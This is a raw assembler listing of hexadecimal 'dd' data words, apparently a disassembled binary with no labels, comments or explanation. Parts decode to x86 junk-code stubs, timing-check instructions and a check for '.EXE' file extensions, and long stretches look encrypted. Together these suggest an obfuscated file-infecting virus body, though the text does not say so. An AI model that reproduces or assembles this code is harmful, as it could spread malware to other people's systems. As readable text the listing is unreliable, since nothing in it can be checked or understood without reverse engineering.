		dd 0C9B253EBh, 87AED56h, 0B7563ED8h, 0D8DCE6C3h, 30BC37D8h
		dd 0F9E4FC4Ah, 6EDD6CD0h, 77F4F83Ah, 0F03776E4h, 5DCDAA63h
		dd 4205313Ah, 0BDE7D43Eh, 7DE1FF58h, 0FE3D51E8h, 0E0439C3Bh
		dd 3B7280B4h, 4138381Dh, 5ABC37EEh, 33546577h, 10BC37BBh
		dd 0B9E6F487h, 0B1B813BAh, 26B81333h, 72BC37BBh, 0F7C6F48Fh
		dd 3431383Fh, 56BC3777h, 0BD963E05h, 78F2B740h,	30BF8FE8h
		dd 30D63777h, 30BFDFEAh, 699C37DDh, 7C356E2Dh, 743D3353h
		dd 30A8339Fh, 61FD37DDh, 87B3DF2Dh, 8ADA67A0h, 0CFE6F711h
		dd 30AEDE3Eh, 2B8537EEh, 11E484ECh, 8B07102Dh, 0C779FC32h
		dd 15E0E91Eh, 5DC5AAFAh, 56DC31F6h, 0A481C55Ch,	0F839BA8Fh
		dd 0C8BA7A2Ah, 2055E744h, 50BC37DDh, 0EF0CD8B4h, 0B801E07Bh
		dd 55C70736h, 3B6A545Fh, 0B38382Eh, 0CCBC3777h,	0BD09FE3Bh
		dd 78F2B740h, 23E78DE8h, 3FDC073Ah, 30BC353Bh, 51E260DDh
		dd 30BC3656h, 30B3DE77h, 1C0037BBh, 91CFF6ACh, 9021ED47h
		dd 0DBBF3770h, 565FC881h, 0F3D3FE5Ch, 0AD31FD64h, 36F15A09h
		dd 30BC3052h, 0C22BBDDDh, 5F56962Ch, 6D74B2FAh,	0D23D31F6h
		dd 6BB48286h, 0F0B7E711h, 30F0B378h, 30D637BBh,	30BFDF8Fh
		dd 6A9C37EEh, 64356DB4h, 743D339Fh, 30A933F9h, 62FE37EEh
		dd 0BD87C2B4h, 78F2B726h, 3304CFDBh, 5ABC37EEh,	33546177h
		dd 10BC37BBh, 0B9E2F483h, 0B1B8139Ah, 24B81333h, 76BC37BBh
		dd 0CF13F48Bh, 0F697890Dh, 3FFF2E33h, 30BC3637h, 8D31CFDDh
		dd 36F15A89h, 4065BAFAh, 4D0431F6h, 3367C81h, 7895726Bh
		dd 0F1731C71h, 5DC5AAFAh, 56DC31F6h, 0A481C55Ch, 0F839BA8Fh
		dd 0C8BA7A2Ah, 2055E744h, 0E98337DDh, 8BA4F305h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 36D7FF2Dh, 0CA8B60EAh, 615BF553h, 8BF7B70Fh,	0A1B966C3h
		dd 6AC08B44h, 3E85000h,	20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 140C350h, 0D471C9FAh
		dd 83F569F7h, 481299BDh, 9750006h, 0D35BD83h, 74000648h
		dd 8B535019h, 47AB8C0h,	85890000h, 6482FF9h, 0A4CB9D8Dh
		dd 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h,	47AB853h
		dd 85890000h, 6482FF9h,	0A16C9D8Dh, 0D3FF064Ah,	0DE8585Bh
		dd 1B000000h, 0F4451808h, 3B23E42Fh, 6EB95786h,	0CE9h
		dd 74081700h, 0B3323C11h, 63238C41h, 60F55E41h,	0F616060h
		dd 0B561F2BFh, 0C08B61FEh, 13CE9h, 4Fh dup(0)
		dd 0DDBD8300h, 1064809h, 55B840Fh, 8E90000h, 83000000h
		dd 556A42Dh, 60B3D25Ah,	5820Fh,	81660000h, 0E992EAC8h
		dd 14h,	0D0B3B3E4h, 669B002Fh, 0C4EE3E64h, 0FBA2216Ch
		dd 2B75C4BDh, 0F985C661h, 4306480Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 54C35343h, 0CFE29CF4h, 40177FC4h
		dd 11E9FCh, 4A480000h, 7B22B6DEh, 8EECF10Fh, 5C079C87h
		dd 0E845E1FCh, 4, 0ECA5D0F5h, 53DE8B60h, 5BF18B66h, 8A605061h
		dd 448B61F5h, 52500424h, 665E5260h, 0F61C18Bh, 52506031h
		dd 585A310Fh, 5A615853h, 0E9008B58h, 9,	8875EB84h, 2A361775h
		dd 24448988h, 50525004h, 14E952h, 0DCC20000h, 0F281C1Bh
		dd 57830D44h, 38CECF0Ch, 67E4B3E7h, 310F088Eh, 8E0Fh, 585A0000h
		dd 6E9310Fh, 1C000000h,	68E6399Eh, 58585A80h, 12E860h
		dd 0C72F0000h, 3ACAC64Ch, 0B700BBBEh, 455CFEDCh, 60EBD100h
		dd 8B0Fh, 0F85F0000h, 81666061h, 0E8AD08F0h, 5,	0AB2471B9h
		dd 6E82Ch, 90650000h, 9A0C3426h, 0FF615F5Bh, 4829A9B5h
		dd 8E906h, 5B870000h, 0EDCEEAE6h, 858D43CBh, 64B7F60h
		dd 0F5D0FFFCh, 5BD8589h, 0C6F80648h, 480FF985h,	68FC5006h
		dd 0DA0295D9h, 52505250h, 310F5250h, 310F585Ah,	585A6160h
		dd 5250310Fh, 310F6160h, 310F5250h, 585A585Ah, 3481585Ah
		dd 0AF388F24h, 0F7816072h, 5E5591B6h, 61DAB70Fh, 29A9B5FFh
		dd 0B1600648h, 78E0BA4Bh, 8D61365Fh, 4B7F6085h,	0FE906h
		dd 15190000h, 0C886C289h, 27B70147h, 76FEB642h,	0E9D0FF9Bh
		dd 6, 67EEF362h, 8589E2A8h, 6482FE9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 80C35646h, 0E9B44A7Eh, 11h
		dd 97E1DECFh, 6CF91A13h, 6897104h, 8964C7D7h, 0E30F68D3h
		dd 12E9B891h, 31000000h, 0B7515698h, 662F2F7h, 5F99C23Ah
		dd 6EB5C6E1h, 240481E3h, 37FDC520h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 25C35242h, 0D16931BCh, 18B0Fh
		dd 0E9FC0000h, 12h, 0DE46E9DAh,	51F72CDAh, 0F94CB0E6h
		dd 0D439CC9Eh, 0B5FFB4FFh, 64829A9h, 60858DF8h,	0F064B7Fh
		dd 1781h, 12E900h, 0FA8B0000h, 4875AB5Bh, 0AAA30FDDh, 0A0637402h
		dd 8D71404Dh, 0CE9D0FFh, 81000000h, 399E1C71h, 2D8068E6h
		dd 8949FE93h, 48332585h, 85C6FC06h, 6480FF9h, 4E8F550h
		dd 56000000h, 50979CDCh, 3FB96052h, 504D70FAh, 5A310F52h
		dd 310F6158h, 61605250h, 6160310Fh, 585A585Ah, 0F525050h
		dd 68Ch, 0F525000h, 0F585A31h, 2820F31h, 60000000h, 8B585A61h
		dd 0F042444h, 0E87h, 0F525000h,	81h, 60310F00h,	8B585A61h
		dd 0E880F00h, 50000000h, 890F52h, 0F000000h, 5A616031h
		dd 24448958h, 0BA666004h, 0BF66D569h, 586107B5h, 0A8C0Fh
		dd 0F600000h, 83h, 61C38B00h, 0B840Fh, 6E90000h, 41000000h
		dd 0A1B88632h, 0D5B5FFC0h, 0E906480Eh, 8, 0B545BBF9h, 9F1F3FABh
		dd 8850Fh, 830F0000h, 2, 858D6160h, 64838BAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E4C35545h, 6D5D31E8h
		dd 890FAEE7h, 1Ch, 16840Fh, 11E90000h, 4E000000h, 0FF59CD98h
		dd 0F4691AA3h, 45390FD3h, 82862C5Bh, 89F8D0FFh,	48171185h
		dd 0DE906h, 0A9CD0000h,	0E4C3855Eh, 4292A877h, 0E934D1B3h
		dd 17Dh, 525050FCh, 61605250h, 0AE9310Fh, 0CC000000h, 6D2F33AEh
		dd 76EC99B1h, 0F585A49h, 50525031h, 5A310F52h, 0E9310F58h
		dd 0Fh,	3EA96D57h, 4A0C04D9h, 0C590DAEAh, 5A9EA1EEh, 89585A58h
		dd 8D0F242Ch, 0Ch, 7E9h, 6DAFFC00h, 569CA831h, 6660EC8Bh
		dd 8B66F28Bh, 0C48361F7h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E9927872h
		dd 14h,	0FD135090h, 270D2085h, 6C59C8B8h, 0E7031C64h, 223DDD4h
		dd 0CE96060h, 77000000h, 58196715h, 0D897B097h,	66BFD3A4h
		dd 61FD82BEh, 0E8h, 0EA815A00h,	64D77ACh, 0FC45C7h, 83000000h
		dd 4809DDBAh, 840F0106h, 98h, 6A006A52h, 0BD92FF0Fh, 5A064805h
		dd 71D08289h, 9A8D064Dh, 64D71D4h, 2803C752h, 53000001h
		dd 0E992FF50h, 5A06482Fh, 0D49A8D52h, 53064D71h, 71D0B2FFh
		dd 92FF064Dh, 6481711h,	74C00B5Ah, 0D49A8D50h, 8D064D71h
		dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h,	4558452Eh
		dd 348DEE75h, 0C752B39h, 2C59BA8Dh, 4D8B0648h, 32A4F30Ch
		dd 0FF52AAC0h, 828D0875h, 6482C59h, 2592FF50h, 5A064833h
		dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 7E9F8h, 0BEC00000h, 54ECF7E1h, 8DD28B76h
		dd 4D78FD8Dh, 891CB406h, 4814058Dh, 0F18B6606h,	302585C7h
		dd 71600648h, 51600000h, 5FF98B66h, 5E8h, 34BE9D00h, 0C3807904h
		dd 0C76158F0h, 482AD985h, 6, 0A99D0B00h, 0FF064814h, 4827D9B5h
		dd 8E906h, 931F0000h, 3588B510h, 95FF4B2Eh, 6480E71h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0D5C35747h, 133D958Bh
		dd 81660648h, 6AA553D2h, 2D95FF00h, 8B064809h, 0E51EEBC0h
		dd 0C46238A3h, 0F2B08CE0h, 25BADD55h, 4FA80AC2h, 3D5CD6DCh
		dd 786CCD7Dh, 4D88FDFCh, 0EE818h, 0ABDE0000h, 0ED44EFEEh
		dd 2F3DC619h, 0F9A1857h, 5B9B501h, 0B75E0648h, 8DC6814Fh
		dd 2B000066h, 480B0D8Dh, 29FF2B06h, 48004985h, 3734FF06h
		dd 13860Fh, 0EE90000h, 0E7000000h, 81F3EBDAh, 7A3BB7F5h
		dd 0D62A9CBCh, 958B5802h, 6482299h, 0B109E881h,	0BD89399Ch
		dd 6481801h, 64D0F081h,	0FE93B7Fh, 99000000h, 8E34D847h
		dd 0A4FCF17Fh, 0DED1FD47h, 0E8813473h, 1BDB8C25h, 0B899D29h
		dd 3500648h, 48068D95h,	3E048F06h, 4FD9523h, 0B70F0648h
		dd 2EF83CBh, 2EA59D8Bh,	4F4F0648h, 20218589h, 0FF810648h
		dd 0FFFF9A44h, 11850Fh,	8D8B0000h, 6482F69h, 1AE9h, 8CB9A500h
		dd 9FFEEBBh, 48168D95h,	0FF5FE906h, 0A5DCFFFFh,	0DE245E66h
		dd 0E8D7F128h, 13h, 97818584h, 0EA3414B3h, 3D6E6704h, 80EF2AC7h
		dd 665961AAh, 770AC281h, 0D98D8B5Eh, 81064828h,	6BB7C6h
		dd 0D1BF0F00h, 0B8h, 3C8BF800h,	0CEBF0F06h, 1924C781h
		dd 0BA665998h, 0F7811F3Bh, 1352E1C4h, 71B52360h, 8B06481Ch
		dd 4827E58Dh, 0EF816106h, 1B6F3732h, 63C89F9h, 5260C88Bh
		dd 0EDD858Bh, 15F0648h,	4812758Dh, 0E8816106h, 3BB90592h
		dd 28E19D8Bh, 0C0810648h, 3BB9058Eh, 81FCCA80h,	0FF950CF8h
		dd 1B850FFFh, 0F000000h, 30E9DFB7h, 48000000h, 7AD3F14Ch
		dd 421FCCE4h, 0A4676AFEh, 0C7B50980h, 0BD893792h, 64809D9h
		dd 0FFFF79E9h, 0DA5603FFh, 8FCFD3B4h, 72879432h, 10931FA3h
		dd 8D3588B5h, 4D7B7E8Dh, 58D8906h, 0E9064814h, 0Eh, 0F6C3CFB7h
		dd 0D874A1A4h, 1C80F15Bh, 85C7E39Fh, 6483025h, 6578h, 66F0B70Fh
		dd 85C7C18Bh, 6482AD9h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 78C35242h
		dd 0F04E443Ah, 8D89B3B3h, 6480ECDh, 0D3DB5FFh, 6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 8E2A84C3h, 0FF3E12D5h, 480E7195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD8B6A60h
		dd 6480ED9h, 95FF006Ah,	648092Dh, 1BEBC08Bh, 6756A674h
		dd 2F85F280h, 504066AFh, 596D0723h, 0FCD87FDFh,	8DD14A5Dh
		dd 0E9DD77FFh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h
		dd 480ED5B5h, 60858D06h, 0FF064B7Fh, 958589D0h,	8B06481Bh
		dd 0CEFC1FEh, 6000068h,	6A006A20h, 0D685702h, 0FF000100h
		dd 481B9595h, 32E906h, 85C60000h, 6480FF9h, 30DF6856h
		dd 0B5FFA9C5h, 64829A9h, 7F60858Dh, 0D0FF064Bh,	0C0D8589h
		dd 858D0648h, 648093Dh,	6A406A50h, 95FF5605h, 6480C0Dh
		dd 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 21858908h, 8B064D7Ch, 85890C42h
		dd 64D7C19h, 8910428Bh,	4D7C1D85h, 57B58D06h, 8D064D7Ch
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7C21B58Bh, 858B064Dh
		dd 64D7C19h, 7C1DBD83h,	0F00064Dh, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 64D7C21h, 7CA8B58Dh
		dd 858D064Dh, 5B7E35h, 5A61D0FFh, 7C21858Bh, 4C2064Dh
		dd 21858B00h, 8B064D7Ch, 21858900h, 0CF064D7Ch,	0
		dd 7EB58960h, 89064D7Ch, 4D7C7A85h, 45858D06h, 8B064801h
		dd 85894440h, 64D7CB7h,	7CEDB58Dh, 858D064Dh, 5B7E35h
		dd 8B61D0FFh, 4D7C7E85h, 9D8BC306h, 64D7C7Ah, 3C43B70Fh
		dd 5B8BD803h, 7A9D0378h, 8B064D7Ch, 0B5032473h,	64D7C7Ah
		dd 207B8B56h, 31C738Bh,	4D7C7ABDh, 7AB50306h, 0FC064D7Ch
		dd 41FFC983h, 7C7E9D8Bh, 178B064Dh, 7C7A9503h, 0C783064Dh
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 7C7A8503h, 8589064Dh, 64D7C7Eh, 0CE8BF08Bh
		dd 0BD81C18Bh, 64D7CB7h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 4D7CB7BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	64D7CB7h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 4D7CB7BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 64D7C25h,	28F98589h
		dd 858D0648h, 64D7CBBh,	318589h, 858D0648h, 64D7C82h, 1CC18589h
		dd 5CE90648h, 3B000001h, 0C1F0581Dh, 0B1964049h, 3B0A525Ah
		dd 0F8535954h, 930A5A54h, 9F53515Ah, 8E3A7A73h,	23532826h
		dd 79C40827h, 9D60BC7Bh, 87526FB4h, 97531E16h, 0DF531E17h
		dd 0EB531E16h, 0F7531E16h, 0FB531E16h, 0D2531E16h, 0FE531E16h
		dd 77531E16h, 0BF531E16h, 8C531E16h, 8A276D6Fh,	0A7731E7Bh
		dd 9E307164h, 0FD0E6D65h, 0FE531E16h, 7F531E16h, 0BF531E16h
		dd 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h
		dd 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h
		dd 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h
		dd 0BF531E16h, 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h
		dd 0FD531E16h, 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h
		dd 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h
		dd 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h, 0F7531E16h
		dd 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h, 0BF531E16h
		dd 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h
		dd 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h
		dd 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h
		dd 0BF531E16h, 0DF531E16h, 7531E16h, 0E90E9C5Eh, 1724h
		dd 4D816068h, 0C924E906h, 5B68FFFBh, 0E9064D82h, 0FFFBC91Ah
		dd 4D831368h, 0C910E906h, 0D968FFFBh, 0E9064D83h, 0FFFBC906h
		dd 4D858568h, 0C8FCE906h, 0DC68FFFBh, 0E9064D86h, 0FFFBC8F2h
		dd 4D878468h, 0C8E8E906h, 4A68FFFBh, 0E9064D88h, 0FFFBC8DEh
		dd 4D8A8768h, 0C8D4E906h, 9F68FFFBh, 0E9064D8Bh, 0FFFBC8CAh
		dd 4D8C4F68h, 0C8C0E906h, 0E668FFFBh, 0E9064D8Ch, 0FFFBC8B6h
		dd 4D8E3468h, 0C8ACE906h, 0EE68FFFBh, 0E9064D93h, 0FFFBC8A2h
		dd 4D950968h, 0C898E906h, 555EFFFBh, 0C1D9C78Bh, 454F4901h
		dd 0D0B7D199h, 733E5810h, 0CBB421A9h, 32BE6E2Bh, 0B8301094h
		dd 0D4D971Eh, 91D91D83h, 4926A1C9h, 0AC73D7FFh,	117708CDh
		dd 297AE56h, 0B4166B93h, 0C6029806h, 0BCE0EB8Ah, 75BAF18h
		dd 14B68F52h, 72CE1A6h,	636B73D2h, 0BD83BF4Dh, 4F299E38h
		dd 0CC000000h, 9D316590h, 3357AFF3h, 0C8A015F7h, 52620F1Fh
		dd 33B44C8Fh, 73D27262h, 3EB02587h, 0F77008ACh,	73D27226h
		dd 0BA7479C3h, 25FFA4EAh, 721AF7B0h, 355D73D2h,	0FFFD296Bh
		dd 54E680EDh, 0BAFFF73Ah, 891B1533h, 9E383C7Dh,	0DFD7h
		dd 11779E00h, 0CBDFC1D5h, 0A88460Fh, 711F5D8Fh,	15E1EF2Bh
		dd 90DE0E8Bh, 810787CEh, 226F3145h, 34EAF4FAh, 9A24AA6Eh
		dd 2A619D3h, 0F3759A7Bh, 0F45055ADh, 0ED99E4C6h, 6390C3C1h
		dd 46A7CFA9h, 850BF5B5h, 6809BE63h, 8D759AF5h, 0A01C5133h
		dd 36A46026h, 7C10444Fh, 52CCDFCBh, 0D1D4728Fh,	4021A90Bh
		dd 0FA6D0135h, 891C78BDh, 0E0AEC698h, 0A2EFB1A1h, 789C7D7Ah
		dd 0E7797598h, 4E4B5505h, 7AEE3F9Eh, 0AA200225h, 148403h
		dd 0BC6C1700h, 0CA0E923Ch, 429E1886h, 0D91B800Eh, 528AF791h
		dd 0E202631Eh, 6B7565A7h, 0D5F3FF2Bh, 5A4474D0h, 0F0C88044h
		dd 0FE8E6FD8h, 0E6B73D7h, 1CA081C9h, 5FCDD0EFh,	2465696Ch
		dd 0B8EEE8E0h, 45A47C7Ch, 2DBE4260h, 7C1DCA3Fh,	99759AC9h
		dd 0C77065C7h, 4CFB6590h, 759A7FAFh, 7E16F04Ah,	526259C9h
		dd 4A62FC8Fh, 726435B2h, 3F8173D2h, 4E03F8B6h, 8373D272h
		dd 997C501h, 481C5292h,	859D4678h, 0ADD96B45h, 79E38C4h
		dd 0A5h, 0D511772Eh, 6CB8F9E7h,	7B13B96Eh, 0BCE2759Ah
		dd 30567078h, 7BE8893Eh, 0B30D759Ah, 7BCFAC1Bh,	902A759Ah
		dd 0D2FDB836h, 4C77CB2Dh, 9A12FA9Bh, 604D1F75h,	64C66803h
		dd 2FF39750h, 0B05E8F52h, 87A614F4h, 64BA3E78h,	836DCFC9h
		dd 671B26CFh, 0F6A8984Fh, 0F749891Ch, 14F0B1DFh, 0AD7F3AA4h
		dd 25F729C0h, 2E8F4D02h, 1389h,	31B96B2Ch, 0BB37F397h
		dd 34F9B1Dh, 8AC61E85h,	135F8D0Ch, 0B8F91966h, 22626C6Ch
		dd 0A9ECEAE6h, 4B517F73h, 0D3FBC38Fh, 0D7FD8714h, 0CE076273h
		dd 9ED20A77h, 626EAAF0h, 0E91177CDh, 517F7DADh,	492BF555h
		dd 3DDA8D25h, 0D8759A7Fh, 79F4F06h, 8AC01C99h, 8B11BD30h
		dd 9273034Fh, 31467762h, 0A8683010h, 9D0787CEh,	178D0B41h
		dd 7A409FD3h, 0B795147Ah, 284C773Eh, 8E07C384h,	902A8F52h
		dd 0A0C39F20h, 0DEE9785Ch, 3D5512BAh, 987E90A7h, 0E2ED88C6h
		dd 107E16BEh, 0BA044A96h, 28F97233h, 9A2478DDh,	32F6ACF2h
		dd 4E8A10BEh, 0E6D942EFh, 0C7F664F3h, 12D1h, 0E9E12364h
		dd 737FBBEFh, 0FBF75355h, 420EC6DDh, 0CB874544h, 7031D1DEh
		dd 0FABA2494h, 6124A22Eh, 0F3A937BBh, 8B23BB37h, 0D7FC3FDCh
		dd 16DFDA73h, 0F592A081h, 96499756h, 626B35EFh,	0D4DE267Ch
		dd 9E784208h, 762A55D0h, 0D0D1E95Eh, 0AA348F52h, 26E2B826h
		dd 0A2C2CDA8h, 0D69125E7h, 73D2E039h, 0CA002DCh, 216EE85Bh
		dd 1FB70989h, 0E3EF2B71h, 0D9098D13h, 0A5814BFCh, 2EA74EEAh
		dd 0B03EFAA0h, 10F8BAE4h, 0A406B494h, 244994DAh, 8BCEEA6Ah
		dd 0C7AE2781h, 73F498BCh, 8F6CB0D0h, 0D9C7EF71h, 216F07C3h
		dd 7A36BF7Bh, 0CC82465Ch, 5B461E29h, 0D88F2781h, 891A70A6h
		dd 0F904E17Bh, 15022771h, 120B16A7h, 0E5AE0000h, 7129B73Bh
		dd 159F39B1h, 800781C9h, 38E0840h, 9BE491D9h, 0E2EE3E7Bh
		dd 6860A0E4h, 0FDFD276Eh, 4109CDD3h, 0F9965179h, 1C73D7FCh
		dd 0A77589Dh, 83FCB9EEh, 714ED7Ch, 0DD9D7FD9h, 6C26E445h
		dd 34D1617Ah, 0ABCFFA81h, 0B43E4403h, 1DB8F52h,	0B97D236Dh
		dd 465C7A34h, 0DAC0CE82h, 6C28761Eh, 29AC3EBCh,	0D185B075h
		dd 9D2C0ABDh, 77C9891Ah, 231D6D79h, 0B2DA1E84h,	797CB4ECh
		dd 0AFD3FE87h, 67216F07h, 2D7532BBh, 2E8F5296h,	0F6E42460h
		dd 99EDE1D4h, 0D286412Eh, 0B81AA473h, 0C26F3514h, 0A17FD641h
		dd 0D2094926h, 0B012AC73h, 0EBB5413Dh, 99454FB7h, 0A62F89D3h
		dd 28A66238h, 0BD33F5AAh, 248881Fh, 0F75C52B2h,	4D533DE9h
		dd 58D3500Ah, 41233E0Ch, 2C3CB10Bh, 0B0679212h,	8EC1208h
		dd 5165C733h, 1ACD7096h, 11927389h, 37EDA8E6h, 7D65C2D6h
		dd 0F4E44678h, 7A70B4EAh, 9AE3C885h, 4B65A175h,	961EE6BCh
		dd 0D8BA044Ah, 5490F690h, 43BF8E66h, 9FDFA501h,	2954DB92h
		dd 0AA6B08BFh, 3C8E759Ah, 0FD8D3A52h, 188F52B4h, 0C3D0A46h
		dd 264EF21Dh, 212A8AA1h, 8CBC8D89h, 0DC9DFC2h, 44223920h
		dd 0B0258745h, 8608AC3Eh, 308AC01Ch, 0F8FD2F6Ah, 996722FCh
		dd 308AC01Ch, 0F48C1856h, 9F67A273h, 0F0E54775h, 9F675A37h
		dd 11457075h, 0E957CA7Dh, 68F68F6Ch, 7D11F329h,	1498D13h
		dd 0B1C50187h, 19C1AE19h, 0A62473D2h, 16A826E2h, 0D6A720B4h
		dd 3373D219h, 6C6A24A9h, 0E91EFF2Dh, 39046F18h,	105F3AB3h
		dd 0B1F20000h, 257D1B57h, 0A1E3EDEDh, 346B7565h, 0D7D2FCFCh
		dd 2F484575h, 561AC2CFh, 0DC9C4C48h, 0A129F3B2h, 35A56127h
		dd 0AD4AFD95h, 4873D7FAh, 0A77E429h, 0D1D4BAD2h, 17E4630Bh
		dd 0F2759A7Fh, 0DBAB6568h, 5F16EEB5h, 8667693Fh, 0A62384EDh
		dd 1FFCFB69h, 0FA759AFCh, 0CAC88660h, 985A10D4h, 0CFD5724Ch
		dd 7B3D630Bh, 6AAAF1AFh, 182AA963h, 0B298704Ah,	141h, 2AA08145h
		dd 83ECEE45h, 0FAA02EA7h, 8C12B03Eh, 56610048h,	0A9DD8A22h
		dd 448F529Ch, 520FF4FAh, 1573D29Ch, 5D69FB35h, 369E3826h
		dd 0F9F72D68h, 34D7EEE7h, 0C1000000h, 420BD7DFh, 0D6590F5h
		dd 49135989h, 200C7EFh,	0A78F5262h, 2AA07C39h, 518B0A90h
		dd 0E9E7411Bh, 0D2725932h, 3E1E73h, 38C44062h, 0B0EA9Eh
		dd 818D0000h, 0D44A921Fh, 5F7F76D2h, 0C1CF8D49h, 0D87004C0h
		dd 9A7F8E6Fh, 9CD16B75h, 6FEA422h, 0B517459Fh, 0A1E7E5EBh
		dd 238D5D59h, 883FD7AFh, 759A7FEBh, 0A3EEBC0Eh,	29B37479h
		dd 0D8759A7Bh, 0AB4A06C2h, 6FD8FCA0h, 8F54DA43h, 0CD8A10BEh
		dd 366883A6h, 511FF9CEh, 0B87502C5h, 0CE9073D0h, 0A4EA826Ch
		dd 429A1BE5h, 0A3EEE8E0h, 0B95D9C79h, 3BB1046Dh, 0F08B2h
		dd 38E8AB00h, 0B67216B0h, 0CE1A9C3Ah, 459F0482h, 0DE0E8B15h
		dd 6686E792h, 0EFE9E13Bh, 69777BA7h, 0DEF8F02Ch, 7C4C0CC8h
		dd 0F9029354h, 9AE773D7h, 0D20A7755h, 6EAAF09Eh, 1177CD62h
		dd 0A3F9E7D5h, 376D6B67h, 0D38FDF3h, 5CAD4569h,	0C5A9E407h
		dd 0C588FBh, 8F52A542h,	2495C567h, 78Fh, 0D20A77F3h, 5C322BAh
		dd 2853871Fh, 37F081C6h, 74F3759Ah, 759A37A7h, 0A832F842h
		dd 0D9B26925h, 0F3759A37h, 470094C8h, 8F69B9F4h, 7D234B15h
		dd 0E1EFE327h, 53717FBBh, 10D4CA56h, 4872D7B6h,	0D684046Ah
		dd 0E60E7h, 50B0F300h, 0EE2A7E18h, 66A2E4E2h, 0FD376C6Ah
		dd 76D6D3FDh, 0CE2E4F7Ah, 375119C3h, 0B1DF934Fh, 26A028F4h
		dd 9434A460h, 0F8AA4BFCh, 224F73D7h, 0D20A77EDh, 0D4A522BAh
		dd 21759A7Fh, 6FF1BF7Bh, 762CAA66h, 89E3CB2h, 646AB6F0h
		dd 70F2F85Ah, 178D1A14h, 0CAF49FD3h, 609870C9h,	0Dh, 65BBAE17h
		dd 4736759Ah, 0FFFFFE0Dh, 7FFDAE0Eh, 0ACD7759Ah, 0D863E488h
		dd 398F69F1h, 8DC3079Bh, 533D5133h, 0E5C7F551h,	17916D1h
		dd 0C29C73D7h, 8C5DF58Bh, 0C74D5E43h, 9B034A19h, 0F989C105h
		dd 0BB31ED97h, 7C22AC21h, 836232B8h, 0A4164214h, 811F15h
		dd 813496C4h, 0ED489C1Dh, 46AA27Ah, 9A972694h, 3D00000Dh
		dd 0B826AA7Ah, 2EA820E0h, 9630B864h, 1DBB37F1h,	9500489Ch
		dd 538908E8h, 0D535711Fh, 62BAFBE5h, 0FE3A606Eh, 5C2EAF2h
		dd 73D7F774h, 77DF1091h, 0F9E7D511h, 0CF6967A3h, 8006A19Fh
		dd 276E3044h, 9F04F8FDh, 9870C963h, 0DC9h, 0BBAEEC00h
		dd 36759A65h, 0FFFD5847h, 1F810EFFh, 0D7137797h, 8EB94075h
		dd 5505C2EAh, 968F524Eh, 4FA849FEh, 0F34D73D2h,	747AC4FAh
		dd 0D24FD38Fh, 92FC9473h, 25873517h, 0C9E90B0h,	9E38F5F2h
		dd 22458h, 1F811F00h, 0AE6E4F8Bh, 32B5E2FBh, 9F804508h
		dd 0E759AD6h, 0B3772D7Dh, 50B913Fh, 9AD6B542h, 9F00FF75h
		dd 0B29CFF62h, 0EC8062FCh, 1BFD151Dh, 31A43DF5h, 0CC4D867Dh
		dd 2B70759Ah, 0A4E5E3E9h, 0B0AC6A60h, 6901D57Eh, 29A76327h
		dd 538F0997h, 3A0A431Dh, 890B9504h, 29711F5Dh, 58460FE9h
		dd 3ACA8642h, 0CC5425A2h, 2FB1759Ah, 83B7DFA6h,	21D9CFCDh
		dd 97DBA565h, 19579309h, 9ACC79A2h, 0C0FEDE75h,	1EC6CFD1h
		dd 0E1660E50h, 759ACC10h, 79626BF5h, 9870764Dh,	188E7h
		dd 1F818E00h, 9C024B97h, 0E8CC206h, 0A0385C98h,	9A7F5627h
		dd 0A429B375h, 0B7618E8h, 0EA159CD1h, 88763635h, 414504B6h
		dd 31452781h, 52A64CB6h, 511FA18Fh, 0D2A631EAh,	58567673h
